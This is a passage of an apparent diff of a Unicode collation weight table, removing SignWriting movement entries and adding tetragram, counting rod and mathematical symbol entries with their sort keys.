MOVEMENT-WALLPLANE BOX LARGE -1D945 ; [*1984.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG SMALL -1D946 ; [*1985.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG MEDIUM -1D947 ; [*1986.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ZIGZAG LARGE -1D948 ; [*1987.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS SMALL -1D949 ; [*1988.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS MEDIUM -1D94A ; [*1989.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE PEAKS LARGE -1D94B ; [*198A.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE SINGLE -1D94C ; [*198B.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE DOUBLE -1D94D ; [*198C.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-WALLPLANE ALTERNATING -1D94E ; [*198D.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE SINGLE -1D94F ; [*198E.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE DOUBLE -1D950 ; [*198F.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ROTATION-FLOORPLANE ALTERNATING -1D951 ; [*1990.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE SHAKING -1D952 ; [*1991.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL SINGLE -1D953 ; [*1992.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL DOUBLE -1D954 ; [*1993.0020.0002] # SIGNWRITING TRAVEL-WALLPLANE ARM SPIRAL TRIPLE -1D955 ; [*1994.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY SMALL -1D956 ; [*1995.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY MEDIUM -1D957 ; [*1996.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY LARGE -1D958 ; [*1997.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL AWAY LARGEST -1D959 ; [*1998.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS SMALL -1D95A ; [*1999.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS MEDIUM -1D95B ; [*199A.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS LARGE -1D95C ; [*199B.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL TOWARDS LARGEST -1D95D ; [*199C.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY SMALL -1D95E ; [*199D.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY MEDIUM -1D95F ; [*199E.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY LARGE -1D960 ; [*199F.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN AWAY LARGEST -1D961 ; [*19A0.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS SMALL -1D962 ; [*19A1.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS MEDIUM -1D963 ; [*19A2.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS LARGE -1D964 ; [*19A3.0020.0002] # SIGNWRITING MOVEMENT-DIAGONAL BETWEEN TOWARDS LARGEST -1D965 ; [*19A4.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT SMALL -1D966 ; [*19A5.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT MEDIUM -1D967 ; [*19A6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT LARGE -1D968 ; [*19A7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE STRAIGHT LARGEST -1D969 ; [*19A8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SINGLE WRIST FLEX -1D96A ; [*19A9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE STRAIGHT -1D96B ; [*19AA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE WRIST FLEX -1D96C ; [*19AB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE ALTERNATING -1D96D ; [*19AC.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE DOUBLE ALTERNATING WRIST FLEX -1D96E ; [*19AD.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CROSS -1D96F ; [*19AE.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE STRAIGHT MOVEMENT -1D970 ; [*19AF.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE WRIST FLEX -1D971 ; [*19B0.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE ALTERNATING MOVEMENT -1D972 ; [*19B1.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE TRIPLE ALTERNATING WRIST FLEX -1D973 ; [*19B2.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BEND -1D974 ; [*19B3.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER SMALL -1D975 ; [*19B4.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER MEDIUM -1D976 ; [*19B5.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CORNER LARGE -1D977 ; [*19B6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CHECK -1D978 ; [*19B7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX SMALL -1D979 ; [*19B8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX MEDIUM -1D97A ; [*19B9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE BOX LARGE -1D97B ; [*19BA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG SMALL -1D97C ; [*19BB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG MEDIUM -1D97D ; [*19BC.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ZIGZAG LARGE -1D97E ; [*19BD.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS SMALL -1D97F ; [*19BE.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS MEDIUM -1D980 ; [*19BF.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE PEAKS LARGE -1D981 ; [*19C0.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE SINGLE -1D982 ; [*19C1.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE DOUBLE -1D983 ; [*19C2.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-FLOORPLANE ALTERNATING -1D984 ; [*19C3.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE SINGLE -1D985 ; [*19C4.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE DOUBLE -1D986 ; [*19C5.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE ROTATION-WALLPLANE ALTERNATING -1D987 ; [*19C6.0020.0002] # SIGNWRITING TRAVEL-FLOORPLANE SHAKING -1D988 ; [*19C7.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER SMALL -1D989 ; [*19C8.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER MEDIUM -1D98A ; [*19C9.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER LARGE -1D98B ; [*19CA.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE QUARTER LARGEST -1D98C ; [*19CB.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE SMALL -1D98D ; [*19CC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE MEDIUM -1D98E ; [*19CD.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE LARGE -1D98F ; [*19CE.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HALF-CIRCLE LARGEST -1D990 ; [*19CF.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THREE-QUARTER CIRCLE SMALL -1D991 ; [*19D0.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THREE-QUARTER CIRCLE MEDIUM -1D992 ; [*19D1.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP SMALL -1D993 ; [*19D2.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP MEDIUM -1D994 ; [*19D3.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP LARGE -1D995 ; [*19D4.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP SMALL -1D996 ; [*19D5.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP MEDIUM -1D997 ; [*19D6.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP LARGE -1D998 ; [*19D7.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP SMALL DOUBLE -1D999 ; [*19D8.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE SMALL -1D99A ; [*19D9.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE MEDIUM -1D99B ; [*19DA.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE DOUBLE LARGE -1D99C ; [*19DB.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE SMALL -1D99D ; [*19DC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE MEDIUM -1D99E ; [*19DD.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE CURVE TRIPLE LARGE -1D99F ; [*19DE.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE THEN STRAIGHT -1D9A0 ; [*19DF.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVED CROSS SMALL -1D9A1 ; [*19E0.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVED CROSS MEDIUM -1D9A2 ; [*19E1.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE -1D9A3 ; [*19E2.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE -1D9A4 ; [*19E3.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATE -1D9A5 ; [*19E4.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SHAKING -1D9A6 ; [*19E5.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HITTING FRONT WALL -1D9A7 ; [*19E6.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP HITTING FRONT WALL -1D9A8 ; [*19E7.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP HITTING FRONT WALL -1D9A9 ; [*19E8.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE HITTING FRONT WALL -1D9AA ; [*19E9.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE HITTING FRONT WALL -1D9AB ; [*19EA.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE HITTING FRONT WALL -1D9AC ; [*19EB.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATING HITTING FRONT WALL -1D9AD ; [*19EC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE CURVE HITTING CHEST -1D9AE ; [*19ED.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE HUMP HITTING CHEST -1D9AF ; [*19EE.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE LOOP HITTING CHEST -1D9B0 ; [*19EF.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE HITTING CHEST -1D9B1 ; [*19F0.0020.0002] # SIGNWRITING ROTATION-WALLPLANE SINGLE HITTING CHEST -1D9B2 ; [*19F1.0020.0002] # SIGNWRITING ROTATION-WALLPLANE DOUBLE HITTING CHEST -1D9B3 ; [*19F2.0020.0002] # SIGNWRITING ROTATION-WALLPLANE ALTERNATING HITTING CHEST -1D9B4 ; [*19F3.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH SMALL -1D9B5 ; [*19F4.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH MEDIUM -1D9B6 ; [*19F5.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WAVE DIAGONAL PATH LARGE -1D9B7 ; [*19F6.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING CEILING SMALL -1D9B8 ; [*19F7.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING CEILING LARGE -1D9B9 ; [*19F8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING SMALL DOUBLE -1D9BA ; [*19F9.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING LARGE DOUBLE -1D9BB ; [*19FA.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING SMALL TRIPLE -1D9BC ; [*19FB.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING CEILING LARGE TRIPLE -1D9BD ; [*19FC.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING SMALL SINGLE -1D9BE ; [*19FD.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING LARGE SINGLE -1D9BF ; [*19FE.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING SMALL DOUBLE -1D9C0 ; [*19FF.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING CEILING LARGE DOUBLE -1D9C1 ; [*1A00.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING CEILING SMALL -1D9C2 ; [*1A01.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING CEILING LARGE -1D9C3 ; [*1A02.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE HITTING CEILING -1D9C4 ; [*1A03.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE HITTING CEILING -1D9C5 ; [*1A04.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING HITTING CEILING -1D9C6 ; [*1A05.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING FLOOR SMALL -1D9C7 ; [*1A06.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE HITTING FLOOR LARGE -1D9C8 ; [*1A07.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR SMALL DOUBLE -1D9C9 ; [*1A08.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR LARGE DOUBLE -1D9CA ; [*1A09.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR TRIPLE SMALL TRIPLE -1D9CB ; [*1A0A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP HITTING FLOOR TRIPLE LARGE TRIPLE -1D9CC ; [*1A0B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR SMALL SINGLE -1D9CD ; [*1A0C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR LARGE SINGLE -1D9CE ; [*1A0D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR SMALL DOUBLE -1D9CF ; [*1A0E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP HITTING FLOOR LARGE DOUBLE -1D9D0 ; [*1A0F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING FLOOR SMALL -1D9D1 ; [*1A10.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE HITTING FLOOR LARGE -1D9D2 ; [*1A11.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE HITTING FLOOR -1D9D3 ; [*1A12.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE HITTING FLOOR -1D9D4 ; [*1A13.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING HITTING FLOOR -1D9D5 ; [*1A14.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE SMALL -1D9D6 ; [*1A15.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE MEDIUM -1D9D7 ; [*1A16.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE LARGE -1D9D8 ; [*1A17.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE LARGEST -1D9D9 ; [*1A18.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE CURVE COMBINED -1D9DA ; [*1A19.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE HUMP SMALL -1D9DB ; [*1A1A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE LOOP SMALL -1D9DC ; [*1A1B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE SNAKE -1D9DD ; [*1A1C.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE SMALL -1D9DE ; [*1A1D.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WAVE LARGE -1D9DF ; [*1A1E.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE SINGLE -1D9E0 ; [*1A1F.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE DOUBLE -1D9E1 ; [*1A20.0020.0002] # SIGNWRITING ROTATION-FLOORPLANE ALTERNATING -1D9E2 ; [*1A21.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE SHAKING PARALLEL -1D9E3 ; [*1A22.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE SMALL SINGLE -1D9E4 ; [*1A23.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE MEDIUM SINGLE -1D9E5 ; [*1A24.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE SMALL DOUBLE -1D9E6 ; [*1A25.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE ARM CIRCLE MEDIUM DOUBLE -1D9E7 ; [*1A26.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL SMALL SINGLE -1D9E8 ; [*1A27.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL MEDIUM SINGLE -1D9E9 ; [*1A28.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL LARGE SINGLE -1D9EA ; [*1A29.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL SMALL DOUBLE -1D9EB ; [*1A2A.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL MEDIUM DOUBLE -1D9EC ; [*1A2B.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE ARM CIRCLE HITTING WALL LARGE DOUBLE -1D9ED ; [*1A2C.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WRIST CIRCLE FRONT SINGLE -1D9EE ; [*1A2D.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE WRIST CIRCLE FRONT DOUBLE -1D9EF ; [*1A2E.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WRIST CIRCLE HITTING WALL SINGLE -1D9F0 ; [*1A2F.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE WRIST CIRCLE HITTING WALL DOUBLE -1D9F1 ; [*1A30.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CIRCLES SINGLE -1D9F2 ; [*1A31.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CIRCLES DOUBLE -1D9F3 ; [*1A32.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CIRCLES HITTING WALL SINGLE -1D9F4 ; [*1A33.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CIRCLES HITTING WALL DOUBLE -1D9F5 ; [*1A34.0020.0002] # SIGNWRITING DYNAMIC ARROWHEAD SMALL -1D9F6 ; [*1A35.0020.0002] # SIGNWRITING DYNAMIC ARROWHEAD LARGE -1D9F7 ; [*1A36.0020.0002] # SIGNWRITING DYNAMIC FAST -1D9F8 ; [*1A37.0020.0002] # SIGNWRITING DYNAMIC SLOW -1D9F9 ; [*1A38.0020.0002] # SIGNWRITING DYNAMIC TENSE -1D9FA ; [*1A39.0020.0002] # SIGNWRITING DYNAMIC RELAXED -1D9FB ; [*1A3A.0020.0002] # SIGNWRITING DYNAMIC SIMULTANEOUS -1D9FC ; [*1A3B.0020.0002] # SIGNWRITING DYNAMIC SIMULTANEOUS ALTERNATING -1D9FD ; [*1A3C.0020.0002] # SIGNWRITING DYNAMIC EVERY OTHER TIME -1D9FE ; [*1A3D.0020.0002] # SIGNWRITING DYNAMIC GRADUAL -1D9FF ; [*1A3E.0020.0002] # SIGNWRITING HEAD +1D245 ; [*119F.0020.0002] # GREEK MUSICAL LEIMMA +1D300 ; [*0EC6.0020.0002] # MONOGRAM FOR EARTH +1D301 ; [*0EC7.0020.0002] # DIGRAM FOR HEAVENLY EARTH +1D302 ; [*0EC8.0020.0002] # DIGRAM FOR HUMAN EARTH +1D303 ; [*0EC9.0020.0002] # DIGRAM FOR EARTHLY HEAVEN +1D304 ; [*0ECA.0020.0002] # DIGRAM FOR EARTHLY HUMAN +1D305 ; [*0ECB.0020.0002] # DIGRAM FOR EARTH +1D306 ; [*0ECC.0020.0002] # TETRAGRAM FOR CENTRE +1D307 ; [*0ECD.0020.0002] # TETRAGRAM FOR FULL CIRCLE +1D308 ; [*0ECE.0020.0002] # TETRAGRAM FOR MIRED +1D309 ; [*0ECF.0020.0002] # TETRAGRAM FOR BARRIER +1D30A ; [*0ED0.0020.0002] # TETRAGRAM FOR KEEPING SMALL +1D30B ; [*0ED1.0020.0002] # TETRAGRAM FOR CONTRARIETY +1D30C ; [*0ED2.0020.0002] # TETRAGRAM FOR ASCENT +1D30D ; [*0ED3.0020.0002] # TETRAGRAM FOR OPPOSITION +1D30E ; [*0ED4.0020.0002] # TETRAGRAM FOR BRANCHING OUT +1D30F ; [*0ED5.0020.0002] # TETRAGRAM FOR DEFECTIVENESS OR DISTORTION +1D310 ; [*0ED6.0020.0002] # TETRAGRAM FOR DIVERGENCE +1D311 ; [*0ED7.0020.0002] # TETRAGRAM FOR YOUTHFULNESS +1D312 ; [*0ED8.0020.0002] # TETRAGRAM FOR INCREASE +1D313 ; [*0ED9.0020.0002] # TETRAGRAM FOR PENETRATION +1D314 ; [*0EDA.0020.0002] # TETRAGRAM FOR REACH +1D315 ; [*0EDB.0020.0002] # TETRAGRAM FOR CONTACT +1D316 ; [*0EDC.0020.0002] # TETRAGRAM FOR HOLDING BACK +1D317 ; [*0EDD.0020.0002] # TETRAGRAM FOR WAITING +1D318 ; [*0EDE.0020.0002] # TETRAGRAM FOR FOLLOWING +1D319 ; [*0EDF.0020.0002] # TETRAGRAM FOR ADVANCE +1D31A ; [*0EE0.0020.0002] # TETRAGRAM FOR RELEASE +1D31B ; [*0EE1.0020.0002] # TETRAGRAM FOR RESISTANCE +1D31C ; [*0EE2.0020.0002] # TETRAGRAM FOR EASE +1D31D ; [*0EE3.0020.0002] # TETRAGRAM FOR JOY +1D31E ; [*0EE4.0020.0002] # TETRAGRAM FOR CONTENTION +1D31F ; [*0EE5.0020.0002] # TETRAGRAM FOR ENDEAVOUR +1D320 ; [*0EE6.0020.0002] # TETRAGRAM FOR DUTIES +1D321 ; [*0EE7.0020.0002] # TETRAGRAM FOR CHANGE +1D322 ; [*0EE8.0020.0002] # TETRAGRAM FOR DECISIVENESS +1D323 ; [*0EE9.0020.0002] # TETRAGRAM FOR BOLD RESOLUTION +1D324 ; [*0EEA.0020.0002] # TETRAGRAM FOR PACKING +1D325 ; [*0EEB.0020.0002] # TETRAGRAM FOR LEGION +1D326 ; [*0EEC.0020.0002] # TETRAGRAM FOR CLOSENESS +1D327 ; [*0EED.0020.0002] # TETRAGRAM FOR KINSHIP +1D328 ; [*0EEE.0020.0002] # TETRAGRAM FOR GATHERING +1D329 ; [*0EEF.0020.0002] # TETRAGRAM FOR STRENGTH +1D32A ; [*0EF0.0020.0002] # TETRAGRAM FOR PURITY +1D32B ; [*0EF1.0020.0002] # TETRAGRAM FOR FULLNESS +1D32C ; [*0EF2.0020.0002] # TETRAGRAM FOR RESIDENCE +1D32D ; [*0EF3.0020.0002] # TETRAGRAM FOR LAW OR MODEL +1D32E ; [*0EF4.0020.0002] # TETRAGRAM FOR RESPONSE +1D32F ; [*0EF5.0020.0002] # TETRAGRAM FOR GOING TO MEET +1D330 ; [*0EF6.0020.0002] # TETRAGRAM FOR ENCOUNTERS +1D331 ; [*0EF7.0020.0002] # TETRAGRAM FOR STOVE +1D332 ; [*0EF8.0020.0002] # TETRAGRAM FOR GREATNESS +1D333 ; [*0EF9.0020.0002] # TETRAGRAM FOR ENLARGEMENT +1D334 ; [*0EFA.0020.0002] # TETRAGRAM FOR PATTERN +1D335 ; [*0EFB.0020.0002] # TETRAGRAM FOR RITUAL +1D336 ; [*0EFC.0020.0002] # TETRAGRAM FOR FLIGHT +1D337 ; [*0EFD.0020.0002] # TETRAGRAM FOR VASTNESS OR WASTING +1D338 ; [*0EFE.0020.0002] # TETRAGRAM FOR CONSTANCY +1D339 ; [*0EFF.0020.0002] # TETRAGRAM FOR MEASURE +1D33A ; [*0F00.0020.0002] # TETRAGRAM FOR ETERNITY +1D33B ; [*0F01.0020.0002] # TETRAGRAM FOR UNITY +1D33C ; [*0F02.0020.0002] # TETRAGRAM FOR DIMINISHMENT +1D33D ; [*0F03.0020.0002] # TETRAGRAM FOR CLOSED MOUTH +1D33E ; [*0F04.0020.0002] # TETRAGRAM FOR GUARDEDNESS +1D33F ; [*0F05.0020.0002] # TETRAGRAM FOR GATHERING IN +1D340 ; [*0F06.0020.0002] # TETRAGRAM FOR MASSING +1D341 ; [*0F07.0020.0002] # TETRAGRAM FOR ACCUMULATION +1D342 ; [*0F08.0020.0002] # TETRAGRAM FOR EMBELLISHMENT +1D343 ; [*0F09.0020.0002] # TETRAGRAM FOR DOUBT +1D344 ; [*0F0A.0020.0002] # TETRAGRAM FOR WATCH +1D345 ; [*0F0B.0020.0002] # TETRAGRAM FOR SINKING +1D346 ; [*0F0C.0020.0002] # TETRAGRAM FOR INNER +1D347 ; [*0F0D.0020.0002] # TETRAGRAM FOR DEPARTURE +1D348 ; [*0F0E.0020.0002] # TETRAGRAM FOR DARKENING +1D349 ; [*0F0F.0020.0002] # TETRAGRAM FOR DIMMING +1D34A ; [*0F10.0020.0002] # TETRAGRAM FOR EXHAUSTION +1D34B ; [*0F11.0020.0002] # TETRAGRAM FOR SEVERANCE +1D34C ; [*0F12.0020.0002] # TETRAGRAM FOR STOPPAGE +1D34D ; [*0F13.0020.0002] # TETRAGRAM FOR HARDNESS +1D34E ; [*0F14.0020.0002] # TETRAGRAM FOR COMPLETION +1D34F ; [*0F15.0020.0002] # TETRAGRAM FOR CLOSURE +1D350 ; [*0F16.0020.0002] # TETRAGRAM FOR FAILURE +1D351 ; [*0F17.0020.0002] # TETRAGRAM FOR AGGRAVATION +1D352 ; [*0F18.0020.0002] # TETRAGRAM FOR COMPLIANCE +1D353 ; [*0F19.0020.0002] # TETRAGRAM FOR ON THE VERGE +1D354 ; [*0F1A.0020.0002] # TETRAGRAM FOR DIFFICULTIES +1D355 ; [*0F1B.0020.0002] # TETRAGRAM FOR LABOURING +1D356 ; [*0F1C.0020.0002] # TETRAGRAM FOR FOSTERING +1D369 ; [*1B6B.0020.0002] # COUNTING ROD TENS DIGIT ONE +1D36A ; [*1B6C.0020.0002] # COUNTING ROD TENS DIGIT TWO +1D36B ; [*1B6D.0020.0002] # COUNTING ROD TENS DIGIT THREE +1D36C ; [*1B6E.0020.0002] # COUNTING ROD TENS DIGIT FOUR +1D36D ; [*1B6F.0020.0002] # COUNTING ROD TENS DIGIT FIVE +1D36E ; [*1B70.0020.0002] # COUNTING ROD TENS DIGIT SIX +1D36F ; [*1B71.0020.0002] # COUNTING ROD TENS DIGIT SEVEN +1D370 ; [*1B72.0020.0002] # COUNTING ROD TENS DIGIT EIGHT +1D371 ; [*1B73.0020.0002] # COUNTING ROD TENS DIGIT NINE +1D6C1 ; [*05EC.0020.0005] # MATHEMATICAL BOLD NABLA +1D6DB ; [*05E8.0020.0005] # MATHEMATICAL BOLD PARTIAL DIFFERENTIAL +1D6FB ; [*05EC.0020.0005] # MATHEMATICAL ITALIC NABLA +1D715 ; [*05E8.0020.0005] # MATHEMATICAL ITALIC PARTIAL DIFFERENTIAL +1D735 ; [*05EC.0020.0005] # MATHEMATICAL BOLD ITALIC NABLA +1D74F ; [*05E8.0020.0005] # MATHEMATICAL BOLD ITALIC PARTIAL DIFFERENTIAL +1D76F ; [*05EC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD NABLA +1D789 ; [*05E8.0020.0005] # MATHEMATICAL SANS-SERIF 